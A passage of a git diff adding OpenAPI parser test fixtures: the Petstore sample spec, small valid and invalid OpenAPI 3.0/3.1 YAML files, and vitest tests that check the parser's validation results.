"parameters": [ + { + "name": "api_key", + "in": "header", + "required": false, + "schema": { + "type": "string" + } + }, + { + "name": "petId", + "in": "path", + "description": "Pet id to delete", + "required": true, + "schema": { + "type": "integer", + "format": "int64" + } + } + ], + "responses": { + "400": { + "description": "Invalid ID supplied" + }, + "404": { + "description": "Pet not found" + } + }, + "security": [ + { + "petstore_auth": [ + "write:pets", + "read:pets" + ] + } + ] + } + }, + "/pet/{petId}/uploadImage": { + "post": { + "tags": [ + "pet" + ], + "summary": "uploads an image", + "description": "", + "operationId": "uploadFile", + "parameters": [ + { + "name": "petId", + "in": "path", + "description": "ID of pet to update", + "required": true, + "schema": { + "type": "integer", + "format": "int64" + } + } + ], + "responses": { + "200": { + "description": "successful operation", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ApiResponse" + } + } + } + } + }, + "security": [ + { + "petstore_auth": [ + "write:pets", + "read:pets" + ] + } + ], + "requestBody": { + "content": { + "application/octet-stream": { + "schema": { + "type": "string", + "format": "binary" + } + } + }, + "description": "file to upload" + } + } + }, + "/store/inventory": { + "get": { + "tags": [ + "store" + ], + "summary": "Returns pet inventories by status", + "description": "Returns a map of status codes to quantities", + "operationId": "getInventory", + "parameters": [], + "responses": { + "200": { + "description": "successful operation", + "content": { + "application/json": { + "schema": { + "type": "object", + "additionalProperties": { + "type": "integer", + "format": "int32" + } + } + } + } + } + }, + "security": [ + { + "api_key": [] + } + ] + } + }, + "/store/order": { + "post": { + "tags": [ + "store" + ], + "summary": "Place an order for a pet", + "description": "", + "operationId": "placeOrder", + "parameters": [], + "responses": { + "200": { + "description": "successful operation", + "content": { + "application/xml": { + "schema": { + "$ref": "#/components/schemas/Order" + } + }, + "application/json": { + "schema": { + "$ref": "#/components/schemas/Order" + } + } + } + }, + "400": { + "description": "Invalid Order" + } + }, + "requestBody": { + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/Order" + } + } + }, + "description": "order placed for purchasing the pet" + } + } + }, + "/store/order/{orderId}": { + "get": { + "tags": [ + "store" + ], + "summary": "Find purchase order by ID", + "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions", + "operationId": "getOrderById", + "parameters": [ + { + "name": "orderId", + "in": "path", + "description": "ID of pet that needs to be fetched", + "required": true, + "schema": { + "type": "integer", + "format": "int64", + "minimum": 1, + "maximum": 10 + } + } + ], + "responses": { + "200": { + "description": "successful operation", + "content": { + "application/xml": { + "schema": { + "$ref": "#/components/schemas/Order" + } + }, + "application/json": { + "schema": { + "$ref": "#/components/schemas/Order" + } + } + } + }, + "400": { + "description": "Invalid ID supplied" + }, + "404": { + "description": "Order not found" + } + } + }, + "delete": { + "tags": [ + "store" + ], + "summary": "Delete purchase order by ID", + "description": "For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors", + "operationId": "deleteOrder", + "parameters": [ + { + "name": "orderId", + "in": "path", + "description": "ID of the order that needs to be deleted", + "required": true, + "schema": { + "type": "integer", + "format": "int64", + "minimum": 1 + } + } + ], + "responses": { + "400": { + "description": "Invalid ID supplied" + }, + "404": { + "description": "Order not found" + } + } + } + }, + "/user": { + "post": { + "tags": [ + "user" + ], + "summary": "Create user", + "description": "This can only be done by the logged in user.", + "operationId": "createUser", + "parameters": [], + "responses": { + "default": { + "description": "successful operation" + } + }, + "requestBody": { + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/User" + } + } + }, + "description": "Created user object" + } + } + }, + "/user/createWithArray": { + "post": { + "tags": [ + "user" + ], + "summary": "Creates list of users with given input array", + "description": "", + "operationId": "createUsersWithArrayInput", + "parameters": [], + "responses": { + "default": { + "description": "successful operation" + } + }, + "requestBody": { + "$ref": "#/components/requestBodies/UserArray" + } + } + }, + "/user/createWithList": { + "post": { + "tags": [ + "user" + ], + "summary": "Creates list of users with given input array", + "description": "", + "operationId": "createUsersWithListInput", + "parameters": [], + "responses": { + "default": { + "description": "successful operation" + } + }, + "requestBody": { + "$ref": "#/components/requestBodies/UserArray" + } + } + }, + "/user/login": { + "get": { + "tags": [ + "user" + ], + "summary": "Logs user into the system", + "description": "", + "operationId": "loginUser", + "parameters": [ + { + "name": "username", + "in": "query", + "description": "The user name for login", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "password", + "in": "query", + "description": "The password for login in clear text", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "successful operation", + "headers": { + "X-Rate-Limit": { + "description": "calls per hour allowed by the user", + "schema": { + "type": "integer", + "format": "int32" + } + }, + "X-Expires-After": { + "description": "date in UTC when token expires", + "schema": { + "type": "string", + "format": "date-time" + } + } + }, + "content": { + "application/xml": { + "schema": { + "type": "string" + } + }, + "application/json": { + "schema": { + "type": "string" + } + } + } + }, + "400": { + "description": "Invalid username/password supplied" + } + } + } + }, + "/user/logout": { + "get": { + "tags": [ + "user" + ], + "summary": "Logs out current logged in user session", + "description": "", + "operationId": "logoutUser", + "parameters": [], + "responses": { + "default": { + "description": "successful operation" + } + } + } + }, + "/user/{username}": { + "get": { + "tags": [ + "user" + ], + "summary": "Get user by user name", + "description": "", + "operationId": "getUserByName", + "parameters": [ + { + "name": "username", + "in": "path", + "description": "The name that needs to be fetched. Use user1 for testing. ", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "successful operation", + "content": { + "application/xml": { + "schema": { + "$ref": "#/components/schemas/User" + } + }, + "application/json": { + "schema": { + "$ref": "#/components/schemas/User" + } + } + } + }, + "400": { + "description": "Invalid username supplied" + }, + "404": { + "description": "User not found" + } + } + }, + "put": { + "tags": [ + "user" + ], + "summary": "Updated user", + "description": "This can only be done by the logged in user.", + "operationId": "updateUser", + "parameters": [ + { + "name": "username", + "in": "path", + "description": "name that need to be updated", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "400": { + "description": "Invalid user supplied" + }, + "404": { + "description": "User not found" + } + }, + "requestBody": { + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/User" + } + } + }, + "description": "Updated user object" + } + }, + "delete": { + "tags": [ + "user" + ], + "summary": "Delete user", + "description": "This can only be done by the logged in user.", + "operationId": "deleteUser", + "parameters": [ + { + "name": "username", + "in": "path", + "description": "The name that needs to be deleted", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "400": { + "description": "Invalid username supplied" + }, + "404": { + "description": "User not found" + } + } + } + } + }, + "externalDocs": { + "description": "Find out more about Swagger", + "url": "http://swagger.io" + }, + "components": { + "schemas": { + "Order": { + "type": "object", + "properties": { + "id": { + "type": "integer", + "format": "int64" + }, + "petId": { + "type": "integer", + "format": "int64" + }, + "quantity": { + "type": "integer", + "format": "int32" + }, + "shipDate": { + "type": "string", + "format": "date-time" + }, + "status": { + "type": "string", + "description": "Order Status", + "enum": [ + "placed", + "approved", + "delivered" + ] + }, + "complete": { + "type": "boolean", + "default": false + } + }, + "xml": { + "name": "Order" + } + }, + "Category": { + "type": "object", + "properties": { + "id": { + "type": "integer", + "format": "int64" + }, + "name": { + "type": "string" + } + }, + "xml": { + "name": "Category" + } + }, + "User": { + "type": "object", + "properties": { + "id": { + "type": "integer", + "format": "int64" + }, + "username": { + "type": "string" + }, + "firstName": { + "type": "string" + }, + "lastName": { + "type": "string" + }, + "email": { + "type": "string" + }, + "password": { + "type": "string" + }, + "phone": { + "type": "string" + }, + "userStatus": { + "type": "integer", + "format": "int32", + "description": "User Status" + } + }, + "xml": { + "name": "User" + } + }, + "Tag": { + "type": "object", + "properties": { + "id": { + "type": "integer", + "format": "int64" + }, + "name": { + "type": "string" + } + }, + "xml": { + "name": "Tag" + } + }, + "Pet": { + "type": "object", + "required": [ + "name", + "photoUrls" + ], + "properties": { + "id": { + "type": "integer", + "format": "int64" + }, + "category": { + "$ref": "#/components/schemas/Category" + }, + "name": { + "type": "string", + "example": "doggie" + }, + "photoUrls": { + "type": "array", + "xml": { + "name": "photoUrl", + "wrapped": true + }, + "items": { + "type": "string" + } + }, + "tags": { + "type": "array", + "xml": { + "name": "tag", + "wrapped": true + }, + "items": { + "$ref": "#/components/schemas/Tag" + } + }, + "status": { + "type": "string", + "description": "pet status in the store", + "enum": [ + "available", + "pending", + "sold" + ] + } + }, + "xml": { + "name": "Pet" + } + }, + "ApiResponse": { + "type": "object", + "properties": { + "code": { + "type": "integer", + "format": "int32" + }, + "type": { + "type": "string" + }, + "message": { + "type": "string" + } + } + } + }, + "responses": {}, + "parameters": {}, + "examples": {}, + "requestBodies": { + "Pet": { + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/Pet" + } + }, + "application/xml": { + "schema": { + "$ref": "#/components/schemas/Pet" + } + } + }, + "description": "Pet object that needs to be added to the store" + }, + "UserArray": { + "content": { + "application/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#/components/schemas/User" + } + } + } + }, + "description": "List of user object" + } + }, + "securitySchemes": { + "petstore_auth": { + "type": "oauth2", + "flows": { + "implicit": { + "authorizationUrl": "http://petstore.swagger.io/oauth/dialog", + "scopes": { + "write:pets": "modify pets in your account", + "read:pets": "read your pets" + } + } + } + }, + "api_key": { + "type": "apiKey", + "name": "api_key", + "in": "header" + } + }, + "headers": {} + } +} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.yaml new file mode 100644 index 0000000..0902e09 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.yaml @@ -0,0 +1,5 @@ +openapi: 3.0.0 +info: + title: API + version: 1.0.0 +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.json b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.json new file mode 100644 index 0000000..e69de29 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.yaml new file mode 100644 index 0000000..002ce0b --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.yaml @@ -0,0 +1,12 @@ +swagger: "2.0" +info: + title: API + version: 1.0.0 +paths: + /: + get: + description: '' + responses: + '200': + description: '' + diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test-oas3.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test-oas3.yaml new file mode 100644 index 0000000..e69de29 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test-openapi.json b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test-openapi.json new file mode 100644 index 0000000..e69de29 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.json b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.json new file mode 100644 index 0000000..e69de29 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.oas3 b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.oas3 new file mode 100644 index 0000000..e69de29 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.yaml new file mode 100644 index 0000000..e69de29 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/resources/include.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/resources/include.yaml new file mode 100644 index 0000000..d9b551b --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/resources/include.yaml @@ -0,0 +1,11 @@ +paths: + '/test': + get: + responses: + '200': + description: OK + '/': + get: + responses: + '200': + description: OK diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/resources/myobject.yml b/packages/openapi-parser/tests/openapi3-examples/3.0/resources/myobject.yml new file mode 100644 index 0000000..64fe131 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/resources/myobject.yml @@ -0,0 +1,9 @@ +resource: + SomeObject: + name: SomeObject #Intentionally invalid + type: object #Intentionally Invalid + properties: + Id: + type: string + format: uuid + example: 'd2014f64-ffdf-487b-8d12-67a20976aca6' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.test.ts new file mode 100644 index 0000000..b1e7433 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.test.ts @@ -0,0 +1,16 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import no_containers from './no_containers.yaml' + +describe('no_containers', () => { + it('returns an error', async () => { + const result = await resolve(no_containers) + + // TODO: Fix the expected error message should mention 'paths' + expect(result.errors?.[0]?.error).toBe( + `must have required property 'webhooks'`, + ) + expect(result.valid).toBe(false) + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.yaml new file mode 100644 index 0000000..593feff --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.yaml @@ -0,0 +1,4 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.test.ts new file mode 100644 index 0000000..dd6bc33 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.test.ts @@ -0,0 +1,16 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import server_enum_empty from './server_enum_empty.yaml' + +describe('server_enum_empty', () => { + it('returns an error', async () => { + const result = await resolve(server_enum_empty) + + // TODO: The error should return something related to the empty enum + expect(result.errors?.[0]?.error).toBe( + `: format must match format "uri-reference"`, + ) + expect(result.valid).toBe(false) + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.yaml new file mode 100644 index 0000000..62d751e --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.yaml @@ -0,0 +1,11 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +servers: + - url: https://example.com/{var} + variables: + var: + enum: [] + default: a +components: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.test.ts new file mode 100644 index 0000000..ade6f28 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.test.ts @@ -0,0 +1,16 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import server_enum_unknown from './server_enum_unknown.yaml' + +describe('server_enum_unknown', () => { + it('returns an error', async () => { + const result = await resolve(server_enum_unknown) + + // TODO: The message should return something related to the unknown enum value + expect(result.errors?.[0]?.error).toBe( + `: format must match format "uri-reference"`, + ) + expect(result.valid).toBe(false) + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.yaml new file mode 100644 index 0000000..eb8c8f6 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.yaml @@ -0,0 +1,12 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +servers: + - url: https://example.com/{var} + variables: + var: + enum: + - a + default: b +components: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.test.ts new file mode 100644 index 0000000..38a9f23 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.test.ts @@ -0,0 +1,16 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import unknown_container from './unknown_container.yaml' + +describe('unknown_container', () => { + it('returns an error', async () => { + const result = await resolve(unknown_container) + + // TODO: The message should complain about the unknown container + expect(result.errors?.[0]?.error).toBe( + `must have required property 'webhooks'`, + ) + expect(result.valid).toBe(false) + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.yaml new file mode 100644 index 0000000..e0565f4 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.yaml @@ -0,0 +1,5 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +overlays: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.test.ts new file mode 100644 index 0000000..94290ff --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import comp_pathitems from './comp_pathitems.yaml' + +describe('comp_pathitems', () => { + it('passes', async () => { + const result = await resolve(comp_pathitems) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.yaml new file mode 100644 index 0000000..502ca1f --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.yaml @@ -0,0 +1,6 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +components: + pathItems: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.test.ts new file mode 100644 index 0000000..8c2b7ea --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import info_summary from './info_summary.yaml' + +describe('info_summary', () => { + it('passes', async () => { + const result = await resolve(info_summary) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.yaml new file mode 100644 index 0000000..30d224a --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.yaml @@ -0,0 +1,6 @@ +openapi: 3.1.0 +info: + title: API + summary: My lovely API + version: 1.0.0 +components: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.test.ts new file mode 100644 index 0000000..141e843 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import license_identifier from './license_identifier.yaml' + +describe('license_identifier', () => { + it('passes', async () => { + const result = await resolve(license_identifier) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.yaml new file mode 100644 index 0000000..fbdba5e --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.yaml @@ -0,0 +1,9 @@ +openapi: 3.1.0 +info: + title: API + summary: My lovely API + version: 1.0.0 + license: + name: Apache + identifier: Apache-2.0 +components: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.test.ts new file mode 100644 index 0000000..4d50013 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import mega from './mega.yaml' + +describe('mega', () => { + it('passes', async () => { + const result = await resolve(mega) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.yaml new file mode 100644 index 0000000..64b4b17 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.yaml @@ -0,0 +1,50 @@ +openapi: 3.1.0 +info: + summary: My API's summary + title: My API + version: 1.0.0 + license: + name: Apache 2.0 + identifier: Apache-2.0 +jsonSchemaDialect: https://spec.openapis.org/oas/3.1/dialect/base +paths: + /: + get: + parameters: [] + /{pathTest}: {} +webhooks: + myWebhook: + $ref: '#/components/pathItems/myPathItem' + description: Overriding description +components: + securitySchemes: + mtls: + type: mutualTLS + pathItems: + myPathItem: + post: + requestBody: + required: true + content: + 'application/json': + schema: + type: object + properties: + type: + type: string + int: + type: integer + exclusiveMaximum: 100 + exclusiveMinimum: 0 + none: + type: 'null' + arr: + type: array + $comment: Array without items keyword + either: + type: ['string','null'] + discriminator: + propertyName: type + x-extension: true + myArbitraryKeyword: true + diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.test.ts new file mode 100644 index 0000000..3f5895b --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import minimal_comp from './minimal_comp.yaml' + +describe('minimal_comp', () => { + it('passes', async () => { + const result = await resolve(minimal_comp) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.yaml new file mode 100644 index 0000000..4553689 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_comp.yaml @@ -0,0 +1,5 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +components: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.test.ts new file mode 100644 index 0000000..7c87113 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import minimal_hooks from './minimal_hooks.yaml' + +describe('minimal_hooks', () => { + it('passes', async () => { + const result = await resolve(minimal_hooks) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.yaml new file mode 100644 index 0000000..e67b288 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_hooks.yaml @@ -0,0 +1,5 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +webhooks: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.test.ts new file mode 100644 index 0000000..28fd126 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import minimal_paths from './minimal_paths.yaml' + +describe('minimal_paths', () => { + it('passes', async () => { + const result = await resolve(minimal_paths) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.yaml new file mode 100644 index 0000000..016e867 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/minimal_paths.yaml @@ -0,0 +1,5 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.test.ts new file mode 100644 index 0000000..2f26e03 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import path_no_response from './path_no_response.yaml' + +describe('path_no_response', () => { + it('passes', async () => { + const result = await resolve(path_no_response) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.yaml new file mode 100644 index 0000000..334608f --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_no_response.yaml @@ -0,0 +1,7 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +paths: + /: + get: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.test.ts new file mode 100644 index 0000000..235930c --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import path_var_empty_pathitem from './path_var_empty_pathitem.yaml' + +describe('path_var_empty_pathitem', () => { + it('passes', async () => { + const result = await resolve(path_var_empty_pathitem) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.yaml new file mode 100644 index 0000000..ba92742 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/path_var_empty_pathitem.yaml @@ -0,0 +1,6 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +paths: + /{var}: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.test.ts new file mode 100644 index 0000000..893cb68 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import schema from './schema.yaml' + +describe('schema', () => { + it('passes', async () => { + const result = await resolve(schema) + expect(result.valid).toBe(true) + expect(result.errors).toBeUndefined() + expect(result.version).toBe('3.1') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.yaml new file mode 100644 index 0000000..e192529 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/schema.yaml @@ -0,0 +1,55 @@ +openapi: 3.1.0 +info: + title: API + version: 1.0.0 +paths: {} +components: + schemas: + model: + type: object + properties: + one: + description: type array + type: + - integer + - string + two: + description: type 'null' + type: "null" + three: + description: type array including 'null' + type: + - string + - "null" + four: + description: array with no items + type: array + five: + description: singular example + type: string + examples: + - exampleValue + six: + description: exclusiveMinimum true + exclusiveMinimum: 10 + seven: + description: exclusiveMinimum false + minimum: 10 + eight: + description: exclusiveMaximum true + exclusiveMaximum: 20 + nine: + description: exclusiveMaximum false + maximum: 20 + ten: + description: nullable string + type: + - string + - "null" + eleven: + description: x-nullable string + type: + - string + - "null" + twelve: + description: file/binary diff --git a/packages/openapi-parser/tests/resolveUris/invalid/openapi.yaml b/packages/openapi-parser/tests/resolveUris/invalid/openapi.yaml new file mode 100644 index 0000000..568042e --- /dev/null +++ b/packages/openapi-parser/tests/resolveUris/invalid/openapi.yaml @@ -0,0 +1,29 @@ +openapi: 3.0.3 +info: + title: Hello World + version: 2.0.0 +paths: + + '/upload': + post: + description: 'Internal endpoint for iOS app only, to upload a unit from the field.' + requestBody: + content: + application/json: + schema: + $ref: '#/components/schemas/Upload' + responses: + '201': + description: Created + '401': + description: Unauthorized + content: + application/problem+json: + schema: + $ref: '#/components/schemas/Generic_Problem' +components: + schemas: + Generic_Problem: + $ref: schemas/does-not-exist.yaml + Upload: + $ref: schemas/upload.yaml diff --git a/packages/openapi-parser/tests/resolveUris/invalid/upload.yaml b/packages/openapi-parser/tests/resolveUris/invalid/upload.yaml new file mode 100644 index 0000000..9e9a184 --- /dev/null +++ b/packages/openapi-parser/tests/resolveUris/invalid/upload.yaml @@ -0,0 +1,16 @@ +title: Upload + +allOf: + - $ref: './components/coordinates.yaml' + - type: object + description: 'Internal endpoint for iOS app only, to upload a unit from the field.' + + required: + - image_url + + properties: + + image_url: + description: Uploaded image that the API will read from and download. + type: 